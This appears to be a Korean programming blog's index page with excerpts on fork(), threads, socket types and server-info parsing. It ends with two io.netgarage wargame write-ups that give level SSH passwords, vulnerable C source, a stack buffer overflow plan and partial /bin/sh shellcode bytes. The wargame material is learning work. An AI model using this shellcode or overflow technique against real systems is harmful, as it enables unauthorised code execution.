본문 바로가기

전체 글

(267)
fork 로 프로세스 생성 후, 프로세스간 변수 공유 fork() 로 자식 프로세스를 생성한 후에, 자식프로세스에서 배열에 1을 더하고, 부모프로세스에서 그것을 출력한다. .. 인 프로그램에서, 이상하게도 자식 프로세스에서 연산한 값이 부모프로세스에게 전달되지 않았다. -->fork() 로 프로세스를 생성하면, 자식 프로세스와 부모 프로세스 두개의 프로세스를 제어하게 된다. 이때 각각 프로세스는 변수를 복사 한 것처럼 관리되어 지는데, 한 프로세스에서 (자식 프로세스에서 라고 가정할 때) 배열의 값을 수정하고 다른 프로세스에서 그것을 출력한다면 각자 다른 변수인데 값만 같을 뿐이므로, 다른 프로세스에서 출력한 값이 변했을 리가 없다. 따라서 변수를 수정하고 나서 그 값을 공유하고 싶다면 다른 방법을 사용해야 하는데, 첫 번째로 공유메모리를 사용하는 방법이 ..
웹에서 서버정보 파싱 전에 올렸었던http://blog.kim82536.pe.kr/entry/%EC%9B%B9-%EC%9D%91%EB%8B%B5%EC%97%90%EC%84%9C-%EC%84%9C%EB%B2%84-%EC%A0%95%EB%B3%B4-%EC%B6%94%EC%B6%9C 의 프로그램을 약간 수정해 보았다. 원래 소스project.c1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091..
쓰레드 프로그램 서버 소스를 멀티 쓰레드로 돌리기 위해 가져온 예제이다. 이상하게 예제 그대로도 컴파일이 되지 않길래 찾아봤더니쓰레드를 이용한 프로그램의 컴파일은 gcc 에 lpthread 옵션을 줘야 한다고 되어 있었다..http://stackoverflow.com/questions/9331863/lpthread-option-of-gcc 1234567891011121314151617181920212223242526272829303132333435363738#include #include #include #include #include #include // gcc test.c -o test -lpthread void* My(void* Para){ int i; for(i=0;i
알고리즘 대결 서버 소스 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916016116216316416516616716816..
동기 소켓 vs 비동기 소켓 1. 동기소켓동기 소켓은 클라이언트가 "HELLO" 라고 요청하면 서버가 대답을 보내줄 때까지 기다려야 한다. --> 클라이언트의 send 후 recv 할 때까지 기다림. 그래서 프로그램 설계 때 클라이언트와 서버의 패킷 교환을 명확히 해야 할 필요가 있음. 2. 비동기소켓비동기는 클라이언트가 "HELLO" 라고 요청하고 나서 서버의 응답이 오기 전까지 다른 일을 수행 할 수 있다. --> 서버의 응답이 없어도 (프로그래머가 응답이 없으면 끝내는 루틴을 넣지 않는 한,) 프로그램이 종료되지 않는다. 그래서 이 동기, 비동기 소켓을 보고 나서, 맨 처음에 들었던 생각은 동기보다 비동기가 더 좋은 방식이 아닌가 생각했었는데, 검색을 좀 더 해보니 http://jangpd007.tistory.com/70 이런..
udp 소켓과 tcp 소켓은 통신할 수 있나 tcp 방식의 클라이언트 소스.123456from socket import * s=socket(AF_INET,SOCK_STREAM)s.connect(("localhost",8080))s.send("test") cs 그리고 udp 방식의 서버 소스 이다. 12345678910111213141516171819202122232425262728#include #include #include int main(int argc,char *argv[]){ int sockfd,n; struct sockaddr_in serveraddr,clientaddr; socklen_t len; char msg[1000]; sockfd=socket(AF_INET,SOCK_DGRAM,0); //bzero(&serveraddr,sizeo..
level6 ssh level6@io.netgarage.orgrXCikld0ex3EQsnI 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051#include #include #include enum{LANG_ENGLISH,LANG_FRANCAIS,LANG_DEUTSCH,}; int language = LANG_ENGLISH; struct UserRecord{ char name[40]; char password[32]; int id;}; void greetuser(struct UserRecord user){ char greeting[64]; switch(language){ case LANG_ENGLISH..
level05 ssh level5@io.netgarage.orgLOoCy5PbKi63qXTh #include #include int main(int argc, char **argv) { char buf[128]; if(argc < 2) return 1;strcpy(buf, argv[1]);printf("%s\n", buf);return 0;} 기초적인 BOF 문제다.strcpy 에서 argv 길이 확인을 안하고 buf에 복사해버리므로 쉘코드를 넣고 ret를 쉘코드 위치로 돌리면 될 것 같다. buffer + dummy + sfp + ret128 + 8 + 4 + 4 \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\x..